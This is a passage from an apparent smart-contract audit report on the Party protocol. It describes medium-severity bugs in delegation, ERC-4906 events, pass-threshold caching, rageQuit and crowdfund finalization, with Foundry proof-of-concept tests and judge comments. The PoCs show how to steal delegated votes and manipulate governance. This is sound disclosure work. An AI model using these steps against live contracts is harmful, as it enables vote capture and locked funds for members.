At this point delegationsByVoter[bob] = alice

4. Bob’s contribution passes, but inside mint we hit this:

        address delegate_ = delegationsByVoter[owner];
        if (delegate_ != address(0)) {
            delegate = delegate_;
        }

Since Bob already has a delegate, he can’t change it here, so Bob’s delegate gets overwritten to Alice and he is unable to change the delegate.

5. All of Bob’s 15 ether gets delegated to Alice inside _adjustVotingPower
6. After this, the crowdfund finalizes and the Party starts.
7. At this point, Alice can propose/accept with a huge amount of voting power that was never intended for her and she can influence proposals that she shouldn’t be able to.
8. Bob can get his delegation back by calling delegateVotingPower, but Alice will have enough time to influence the Party.

Note that this way a 51% attack can easily be executed by a malicious user. A malicious user can steal multiple delegates this way and influence the Party greatly.

Proof of Concept

 function _createCrowdfundWithAuthorities(
        CreateCrowdfundArgs memory args,
        bool initialize
    ) internal returns (InitialETHCrowdfund crowdfund) {
        crowdfundOpts.initialContributor = args.initialContributor;
        crowdfundOpts.initialDelegate = args.initialDelegate;
        crowdfundOpts.minContribution = args.minContributions;
        crowdfundOpts.maxContribution = args.maxContributions;
        crowdfundOpts.disableContributingForExistingCard = args.disableContributingForExistingCard;
        crowdfundOpts.minTotalContributions = args.minTotalContributions;
        crowdfundOpts.maxTotalContributions = args.maxTotalContributions;
        crowdfundOpts.duration = args.duration;
        crowdfundOpts.exchangeRateBps = args.exchangeRateBps;
        crowdfundOpts.fundingSplitBps = args.fundingSplitBps;
        crowdfundOpts.fundingSplitRecipient = args.fundingSplitRecipient;
        crowdfundOpts.gateKeeper = args.gateKeeper;
        crowdfundOpts.gateKeeperId = args.gateKeeperId;

        partyOpts.name = "Test Party";
        partyOpts.symbol = "TEST";
        partyOpts.governanceOpts.partyImpl = partyImpl;
        partyOpts.governanceOpts.partyFactory = partyFactory;
        partyOpts.governanceOpts.voteDuration = 7 days;
        partyOpts.governanceOpts.executionDelay = 1 days;
        partyOpts.governanceOpts.passThresholdBps = 0.5e4;
        partyOpts.governanceOpts.hosts = new address[](1);
        partyOpts.governanceOpts.hosts[0] = address(this);
        partyOpts.authorities = new address[](1); // Set the authority to address(this) for testing purposes
        partyOpts.authorities[0] = address(this);

        crowdfund = InitialETHCrowdfund(payable(address(initialETHCrowdfundImpl).clone()));
        if (initialize) {
            crowdfund.initialize{ value: args.initialContribution }(
                crowdfundOpts,
                partyOpts,
                MetadataProvider(address(0)),
                ""
            );
        }
    }

function test_stealingDelegations() public {
        InitialETHCrowdfund crowdfund = _createCrowdfundWithAuthorities(
            CreateCrowdfundArgs({
                initialContribution: 0, 
                initialContributor: payable(address(0)),
                initialDelegate: address(0),
                minContributions: 0,
                maxContributions: type(uint96).max,
                disableContributingForExistingCard: false, 
                minTotalContributions: 5 ether,
                maxTotalContributions: 20 ether, 
                duration: 7 days,
                exchangeRateBps: 1e4, 
                fundingSplitBps: 0,
                fundingSplitRecipient: payable(address(0)),
                gateKeeper: IGateKeeper(address(0)),
                gateKeeperId: bytes12(0)
            }), true
        );
        Party party = crowdfund.party();

        // Charlie contributes to the Crowdfund
        address charlie = _randomAddress();
        vm.deal(charlie, 10 ether);
        vm.prank(charlie);
        crowdfund.contribute{value: 5 ether }(address(charlie), "");

        address bob = _randomAddress();
        // Alice front runs Bob's contribution, setting herself as Bob's delegate
        address alice = _randomAddress();
        vm.deal(alice, 5 ether);
        vm.prank(alice);
        crowdfund.contributeFor{value: 1 }(0, payable(address(bob)), address(alice), "");

        // Bob contributes and finalizes the crowdfund, not knowing
        // that he just contributed all of his voting power to Alice
        vm.deal(bob, 15 ether);
        vm.prank(bob);
        crowdfund.contribute{value: 15 ether }(address(bob), "");

        // Here we can see that Alice has `15e18` voting power, even though she should have only `1 wei`
        assertEq(party.getVotingPowerAt(address(alice), uint40(block.timestamp)), 15 ether);
        // Even though Bob set himself as the delegate, he has 0 voting power, because his
        // delegation got overwritten
        assertEq(party.getVotingPowerAt(address(bob), uint40(block.timestamp)), 0);
    }

Tools Used

Foundry

Recommended Mitigation Steps

We recommend removing the contributeFor function.

KingNFT (lookout) commented:

Please reference:

File: contracts\party\PartyGovernance.sol
451:     function delegateVotingPower(address delegate) external {
452:         _adjustVotingPower(msg.sender, 0, delegate);
453:     }

gzeon (judge) decreased severity to Medium and commented:

The warden described a potential grieving vector where an attacker (Alice) can temporarily steal the delegation from another user (Bob) who contributed for a user (User).

The delegation power would be temporarily stolen at no cost until the User re-delegate.

arr00 (Party) confirmed and commented via duplicate issue #311:

We plan on changing documentation to make it clear that the delegates are only for initial mints. We won’t be changing the mint function as of now due to cascading issues with that.

[M-03] PartyGovernanceNFT advertises but does not honor the ERC-4906 standard

Submitted by 3docSec, also found by pep7siup, Bauchibred, and lsaudit

Lines of code

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernanceNFT.sol#L208
https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernanceNFT.sol#L236
https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernanceNFT.sol#L247
https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernanceNFT.sol#L255

Vulnerability details

The PartyGovernanceNFT contract inherits from PartyGovernance, and through it, it advertises support for the ERC-4906 standard:

    // PartyGovernance.sol:333

    function supportsInterface(bytes4 interfaceId) public pure virtual returns (bool) {
        return
            interfaceId == type(IERC721Receiver).interfaceId ||
            interfaceId == type(ERC1155TokenReceiverBase).interfaceId ||
            // ERC4906 interface ID
            interfaceId == 0x49064906;
    }

Because of this, consumers like NFT marketplaces or block explorer expect updates from PartyGovernanceNFT in the form of MetadataUpdate or BatchMetadataUpdate events whenever the metadata of its NFTs changes.

The protocol has a default implementation of Party metadata, which, among other information, includes voting power:

                // PartyNFTRenderer.sol:292
                string.concat(
                    "This membership represents ",
                    generateVotingPowerPercentage(tokenId),
                    "% voting power in ",
                    partyName,
                    ". Head to ",
                    generateExternalURL(),
                    " to view the Party's latest activity."
                );

Consequently, the metadata is expected to change whenever a single NFT’s voting power, or the contract’s total voting power are updated. However, when this happens, no MetadataUpdate or BatchMetadataUpdate event is raised.

The following vote-share (and consequently metadata) changing functions have been identified, and none emits the required events:

    // PartyGovernanceNFT.sol:208
    function increaseVotingPower(uint256 tokenId, uint96 votingPower) external {
        // [...]
        emit PartyCardIntrinsicVotingPowerSet(tokenId, newIntrinsicVotingPower);

        _adjustVotingPower(ownerOf(tokenId), votingPower.safeCastUint96ToInt192(), address(0));
    }

    // PartyGovernanceNFT.sol:236
    function decreaseVotingPower(uint256 tokenId, uint96 votingPower) external {
        _assertAuthority();
        mintedVotingPower -= votingPower;
        votingPowerByTokenId[tokenId] -= votingPower;

        _adjustVotingPower(ownerOf(tokenId), -votingPower.safeCastUint96ToInt192(), address(0));
    }

    // PartyGovernanceNFT.sol:247
    function increaseTotalVotingPower(uint96 votingPower) external {
        _assertAuthority();
        _getSharedProposalStorage().governanceValues.totalVotingPower += votingPower;
    }

    // PartyGovernanceNFT.sol:255
    function decreaseTotalVotingPower(uint96 votingPower) external {
        _assertAuthority();
        _getSharedProposalStorage().governanceValues.totalVotingPower -= votingPower;
    }

As a consequence, off-chain platforms like NFT marketplaces or block explorers may show stale metadata for the NFTs, and token holders can use this stale data to their advantage.

To add context, openness to having PartyGovernanceNFT tokens traded on a marketplace seems a reasonable use case since the team opted for implementing the ERC-2981 standard for PartyGovernanceNFT tokens.

Impact

PartyGovernanceNFT tokens may be exchanged for inflated prices on platforms showing stale data.

Proof of Concept

Starting with a PartyGovernanceNFT (after crowdfunding is finalized) that delegates its tokenURI to a PartyNFTRenderer contract:

• Create an NFT, and hash its tokenURI.

• Call increaseVotingPower or decreaseVotingPower for the given NFT:

  • Hash again the NFT tokenURI and observe how it’s changed.
  • However no MetadataUpdate was called.

• Call increaseTotalVotingPower or decreaseTotalVotingPower.

  • Hash again the NFT tokenURI and observe how it’s changed.
  • However no BatchMetadataUpdate was called.

Tools Used

Foundry

Recommended Mitigation Steps

Consider updating:

• PartyGovernanceNFT.increaseVotingPower to emit a MetadataUpdate event.
• PartyGovernanceNFT.decreaseVotingPower to emit a MetadataUpdate event.
• PartyGovernanceNFT.increaseTotalVotingPower to emit a BatchMetadataUpdate event.
• PartyGovernanceNFT.decreaseTotalVotingPower to emit a BatchMetadataUpdate event.

Assessed type

ERC721

gzeon (judge) commented:

Judging as Med due to broken support of ERC4960

• PartyGovernance: Should comply with ERC4906

0xble (Party) confirmed

[M-04] PartyGovernance.sol#accept - passThresholdBps isn’t cached for each proposal which can lead to problems if changed through another proposal

Submitted by TresDelinquentes, also found by KupiaSec, cccz, and 0xbrett8571

PartyGovernance uses a variable called passThresholdBps to determine the percentage of votes from the totalVotingPower a proposal needs to receive so it can pass.

The protocol also allows parties to change several governance options through SetGovernanceParameterProposal, including passThresholdBps.

    /// @notice Execute a `SetGovernanceParameterProposal` which sets the given governance parameter.
    function _executeSetGovernanceParameter(
        IProposalExecutionEngine.ExecuteProposalParams memory params
    ) internal returns (bytes memory) {
        SetGovernanceParameterProposalData memory proposalData = abi.decode(
            params.proposalData,
            (SetGovernanceParameterProposalData)
        );
        if (proposalData.voteDuration != 0) {
            if (proposalData.voteDuration < 1 hours) { //@audit can be really fkin big
                revert InvalidGovernanceParameter(proposalData.voteDuration);
            }
            emit VoteDurationSet(
                _getSharedProposalStorage().governanceValues.voteDuration,
                proposalData.voteDuration
            );
            _getSharedProposalStorage().governanceValues.voteDuration = proposalData.voteDuration;
        }
        if (proposalData.executionDelay != 0) {
            if (proposalData.executionDelay > 30 days) {
                revert InvalidGovernanceParameter(proposalData.executionDelay);
            }
            emit ExecutionDelaySet(
                _getSharedProposalStorage().governanceValues.executionDelay,
                proposalData.executionDelay
            );
            _getSharedProposalStorage().governanceValues.executionDelay = proposalData
                .executionDelay;
        }
        if (proposalData.passThresholdBps != 0) { // passThresholdBps can be set as well
            if (proposalData.passThresholdBps > 10000) { 
                revert InvalidGovernanceParameter(proposalData.passThresholdBps);
            }
            emit PassThresholdBpsSet(
                _getSharedProposalStorage().governanceValues.passThresholdBps,
                proposalData.passThresholdBps
            );
            _getSharedProposalStorage().governanceValues.passThresholdBps = proposalData
                .passThresholdBps;
        }

        return "";
    }

This isn’t in itself a problem, but the logic for checking if a proposal has passed contains a problem. Inside accept, we have a check called _areVotesPassing, which compares if the votes of the proposal, compared to the cached totalVotingPower of the proposal passes passThresholdBps. The issue is that we are using the global passThresholdBps, not a cached one.

        ...
        // Update the proposal status if it has reached the pass threshold.
        if (
            values.passedTime == 0 &&
            _areVotesPassing(
                values.votes,
                values.totalVotingPower,
                _getSharedProposalStorage().governanceValues.passThresholdBps // This isn't cached
            )
        ) {
            info.values.passedTime = uint40(block.timestamp);
            emit ProposalPassed(proposalId);
            // Notify third-party platforms that the governance NFT metadata has
            // updated for all tokens.
            emit BatchMetadataUpdate(0, type(uint256).max);
        }

This can lead to unwanted behavior during the voting lifecycle of a proposal and can even be exploited by party members to their gain.

Proof of Concept

Let’s imagine a couple of scenarios:

Scenario A - passThresholdBps = 0.5e4 (50%)

1. Alice and Bob are friends and hold about 30% of the voting power of the Party.
2. Alice creates a proposal (proposal A), but Bob doesn’t accept it yet. The other users, refuse to accept the proposal.
3. Alice and Bob create a second proposal (proposal B) to set passThresholdBps = 0.3e4(30%).
4. Since the proposal will allow more freedom in the party for all users to pass their proposals, proposal B easily passes.
5. Now the passThresholdBps = 0.3e4 (30%) and Bob calls accept on proposal A, passing it.

Scenario B - Reverse of Scenario A - passThresholdBps = 0.5e4 (50%)

1. A proposal is created (proposal A) and it accumulates 40% votes. Since it’s not a very popular proposal, we’ll assume that it won’t accumulate more than 60% votes total, which is still enough for it to pass at this time.
2. Another proposal is created (proposal B), which sets passThresholdBps = 0.7e4 (70%).
3. Proposal A will now never pass, even if it accumulates 60% of the votes, since passThresholdBps = 0.7e4 (70%) it will never pass.

The actual creation of the proposals doesn’t matter. Proposal B can be proposed before proposal A, as long as it gets executed first, it will have an effect on all previous proposals.

The scenarios here are endless: from grieving other users, maliciously exploiting the issue to get unpopular, unfavorable proposals to pass or blocking proposals that would have otherwise passed.

This also introduces more attack vectors for a 51% attack, as someone that has let’s say 60% of the voting power, can just set passThresholdBps = 0.6e4 (60%) and easily block other users from getting their proposals accepted, while theirs will always pass.

Keep in mind that even completely non-malicious Parties can be affected by this negatively, as it introduces uncertainty and confusion during the voting stage.

Recommended Mitigation Steps

We recommend caching passThresholdBps in a similar way as totalVotingPower is cached for proposals.

0xble (Party) confirmed

[M-05] PartyGovernanceNFT#rageQuit() can lead to token loss for users when dealing with zero-balance ERC20 during a rageQuit()

Submitted by TresDelinquentes, also found by 0xA5DF, 3docSec, and Pechenite

Calling Party’s rageQuit() with a zero-balance ERC20 disregards the minWithdrawAmounts array, resulting in the loss of user tokens without compensation.

Proof of Concept

Consider the following scenario illustrating the issue:

1. A Party holds USDC tokens.
2. The entire USDC balance is transferred to another account, e.g., via a proposal.
3. Alice, unaware of the Party’s depleted USDC holdings, attempts to rageQuit().
4. Alice specifies minimum withdrawal amounts using uint256[] minWithdrawAmounts.
5. Despite specifying minWithdrawAmounts, all of Alice’s Party tokens are burned, and she receives nothing in return.

In PartyGovernanceNFT#rageQuit() the withdrawl amount for each ERC20 is calculated as follows:

withdrawAmounts[i] += (balance * getVotingPowerShareOf(tokenIds[j])) / 1e18;

Where:

balance = uint256 balance = address(withdrawTokens[i]) == ETH_ADDRESS ? address(this).balance : withdrawTokens[i].balanceOf(address(this));

However, if the token is an ERC20 for which the Party does not have any remaining balance, withdrawAmounts[i] would be equal to 0.

This means the following check would not be executed at all:

if (amount > 0) { //@audit Would be skipped if amount is equal to 0.
    // ...
    // Check amount is at least minimum.
    if (amount < minAmount) { // This is never checked if amount is equal to 0.
        revert BelowMinWithdrawAmountError(amount, minAmount);
    }

    // ...
    payable(receiver).transferEth(amount);
}

Since the check for the minimum withdrawal amount is within the if statement, it is never executed when amount is equal to 0, leading to unintended NFT loss.

uint96 totalVotingPowerBurned = _burnAndUpdateVotingPower(tokenIds, !isAuthority_); 

// Update total voting power of party.
_getSharedProposalStorage().governanceValues.totalVotingPower -= totalVotingPowerBurned;

PoC:

// Add this to PartyGovernanceNFT.t.sol

function testRageQuitDoesNotHonorMinWithdrawAmountIsERC20BalanceIsZero() external {
    // Create party
    (Party party, , ) = partyAdmin.createParty(
        partyImpl,
        PartyAdmin.PartyCreationMinimalOptions({
            host1: address(this),
            host2: address(0),
            passThresholdBps: 5100,
            totalVotingPower: 100,
            preciousTokenAddress: address(toadz),
            preciousTokenId: 1,
            rageQuitTimestamp: 0,
            feeBps: 0,
            feeRecipient: payable(0)
        })
    );

	// Configure rage quit
    vm.prank(address(this));
    party.setRageQuit(uint40(block.timestamp) + 1);

	// Give alice 10 voting tokens out of 100
    address alice = makeAddr("alice");
    vm.prank(address(partyAdmin));
    uint256 tokenId = party.mint(alice, 10, alice);

	// An ERC20 in which the party previously had holdings
	// but now it's balance is == 0.
    IERC20[] memory tokens = new IERC20[](1);
    tokens[0] = IERC20(address(new DummyERC20()));

	// The minimum withdraw alice is willing to accept
    uint256[] memory minWithdrawAmounts = new uint256[](1);
    minWithdrawAmounts[0] = 1; // Notice it's a value >0 to demonstrate the non-working check

    uint256[] memory tokenIds = new uint256[](1);
    tokenIds[0] = tokenId;

    // Make sure the party has 0 balance
    DummyERC20(address(tokens[0])).deal(address(party), 0);

    // Before
    assertEq(party.votingPowerByTokenId(tokenId), 10); // alice has 10 voting tokens
    assertEq(tokens[0].balanceOf(alice), 0); // alice has 0 DummyERC20s

    vm.prank(alice);
    party.rageQuit(tokenIds, tokens, minWithdrawAmounts, alice); // This should revert

    // After
    assertEq(party.votingPowerByTokenId(tokenId), 0); // alice has lost her 10 voting tokens
    assertEq(tokens[0].balanceOf(alice), 0); // alice's dummyERC20 balance is still 0
    assertEq(party.getGovernanceValues().totalVotingPower, 90);
}

Recommended Mitigation Steps

To ensure that the BelowMinWithdrawAmountError check is performed even when amount is equal to 0, amount > 0 must be replaced with amount >= 0 in the rageQuit() function. Here’s the modified code snippet:

--- a/contracts/party/PartyGovernanceNFT.sol
+++ b/contracts/party/PartyGovernanceNFT.sol
@@ -418,17 +418,17 @@ contract PartyGovernanceNFT is PartyGovernance, ERC721, IERC2981 {
                     // Transfer fee to fee recipient.
                     if (address(token) == ETH_ADDRESS) {
                         payable(feeRecipient).transferEth(fee);
                     } else {
                         token.compatTransfer(feeRecipient, fee);
                     }
                 }

-                if (amount > 0) {
+                if (amount >= 0) {
                     uint256 minAmount = minWithdrawAmounts[i];

                     // Check amount is at least minimum.
                     if (amount < minAmount) {
                         revert BelowMinWithdrawAmountError(amount, minAmount);
                     }

                     // Transfer token from party to recipient.

Assessed type

Invalid Validation

gzeon (judge) commented:

Linking over the comment made here.

Potential value leak, no reason to ignore specified values. Judging as Medium… because while a function of the protocol is impacted, asset is not lost considering the user should call ragequit before the proposal that transfer out the token is executed.

0xble (Party) confirmed

[M-06] ETHCrowdfundBase.sol#processContribution - Impossible to finalize crowdfund because of minContribution check

Submitted by TresDelinquentes, also found by Pechenite, Arz, Neon2835, J4X, D1r3Wolf, 3docSec, Bauchibred, chainsnake, and adeolu

The contract implements a state variable minContribution, which enforces a minimum contribution to the crowdfund.

An issue occurs when minContribution > maxTotalContribution - minTotalContribution. The protocol team even accounted for such a case, but they assumed that minTotalContribution can always be reached, so a host can then call finalize and finalize the crowdfund early, but that isn’t the case.

        // Check that the contribution amount is at or above the minimum. This
        // is done after `amount` is potentially reduced if refunding excess
        // contribution. There is a case where this prevents a crowdfunds from
        // reaching `maxTotalContributions` if the `minContribution` is greater
        // than the difference between `maxTotalContributions` and the current
        // `totalContributions`. In this scenario users will have to wait until
        // the crowdfund expires or a host finalizes after
        // `minTotalContribution` has been reached by calling `finalize()`.
        uint96 minContribution_ = minContribution;
        if (amount < minContribution_) {
            revert BelowMinimumContributionsError(amount, minContribution_);
        }

Let’s look at an example: (Keep in mind that the values can vary, this is just an example). minContribution = 2e18
minTotalContribution = 9e18
maxTotalContribution = 10e18

• There is already 8.5e18 ETH contributed to the crowdfund.
• We need 0.5e18 ETH to reach minTotalContribution and 1.5e18 ETH to reach maxTotalContribution, but both of these cases are impossible since minContribution = 2e18.
• Alice contributes 2e18 ETH and totalContributions = 10.5e18, so we refund Alice 0.5e18 ETH and amount is now 1.5e18.

Then we apply this check, which will always revert. We can’t send less than minContribution and even if we send more, after we apply the refund amount will always be smaller than minContribution.

    if (amount < minContribution_) {
            revert BelowMinimumContributionsError(amount, minContribution_);
    }

At this point the crowdfund is stuck in limbo, minTotalContribution and maxTotalContribution can never be reached. Because minTotalContribution isn’t reached, the host can’t finalize the crowdfund early. Thus, the crowdfund will eventually expire and be lost.

Users will be able to call refund only after the crowdfund is Lost. The DoS will last as long as the duration of the crowdfund. If duration = 14 days, then the users will recover their funds after 14 days.

Note that if emergencyDisabled = true, the DAO won’t be able to retrieve their funds through emergencyExecute and the users will have to wait until the crowdfund is lost.

This issue can occur without anyone being malicious, although a malicious user can set up the correct state more effectively.

Proof of Concept

Paste the following inside test/crowdfund/InitialETHCrowdfund.t.sol in contract InitialETHCrowdfundTest and run forge test --mt test_MinTotalContributionsProblem -vvvv:

function _createCrowdfund(
        CreateCrowdfundArgs memory args,
        bool initialize
    ) internal returns (InitialETHCrowdfund crowdfund) {
        crowdfundOpts.initialContributor = args.initialContributor;
        crowdfundOpts.initialDelegate = args.initialDelegate;
        crowdfundOpts.minContribution = args.minContributions;
        crowdfundOpts.maxContribution = args.maxContributions;
        crowdfundOpts.disableContributingForExistingCard = args.disableContributingForExistingCard;
        crowdfundOpts.minTotalContributions = args.minTotalContributions;
        crowdfundOpts.maxTotalContributions = args.maxTotalContributions;
        crowdfundOpts.duration = args.duration;
        crowdfundOpts.exchangeRateBps = args.exchangeRateBps;
        crowdfundOpts.fundingSplitBps = args.fundingSplitBps;
        crowdfundOpts.fundingSplitRecipient = args.fundingSplitRecipient;
        crowdfundOpts.gateKeeper = args.gateKeeper;
        crowdfundOpts.gateKeeperId = args.gateKeeperId;

        partyOpts.name = "Test Party";
        partyOpts.symbol = "TEST";
        partyOpts.governanceOpts.partyImpl = partyImpl;
        partyOpts.governanceOpts.partyFactory = partyFactory;
        partyOpts.governanceOpts.voteDuration = 7 days;
        partyOpts.governanceOpts.executionDelay = 1 days;
        partyOpts.governanceOpts.passThresholdBps = 0.5e4;
        partyOpts.governanceOpts.hosts = new address[](1);
        partyOpts.governanceOpts.hosts[0] = address(this);
        

        crowdfund = InitialETHCrowdfund(payable(address(initialETHCrowdfundImpl).clone()));
        if (initialize) {
            crowdfund.initialize{ value: args.initialContribution }(
                crowdfundOpts,
                partyOpts,
                MetadataProvider(address(0)),
                ""
            );
        }
    }

function test_MinTotalContributionsProblem() public {
         InitialETHCrowdfund crowdfund = _createCrowdfund(
            CreateCrowdfundArgs({
                initialContribution: 0,
                initialContributor: payable(address(0)),
                initialDelegate: address(0),
                // notice the value, it's > maxTotalContributions - minTotalContributions,
                minContributions: 2 ether,
                maxContributions: type(uint96).max,
                disableContributingForExistingCard: false,
                minTotalContributions: 9 ether,
                maxTotalContributions: 10 ether, 
                duration: 7 days,
                exchangeRateBps: 1e4, 
                fundingSplitBps: 0,
                fundingSplitRecipient: payable(address(0)),
                gateKeeper: IGateKeeper(address(0)),
                gateKeeperId: bytes12(0)
            })
        );
        Party party = crowdfund.party();

        // Simulating users contributing to reach 8.5e18 ETH contributed
        address alice = _randomAddress();
        vm.deal(alice, 10_000 ether);
        vm.prank(alice);
        crowdfund.contribute{value: 8.5 ether }(address(alice), "");

        // Can't contribute anything < 2 ether
        vm.prank(alice);
        vm.expectRevert();
        crowdfund.contribute{value: 1 ether }(address(alice), "");

        
        // Can't contribute 2 ether, because 0.5 ether will be refuned which is < minContribution
        vm.prank(alice);
        vm.expectRevert();
        crowdfund.contribute{value: 2 ether}(address(alice), "");

        // At this point the crowdfund is in limbo, it can't be finalized, 
        // Host, can't finalize the crowdfund
        vm.prank(address(this));
        vm.expectRevert();
        crowdfund.finalize();
    }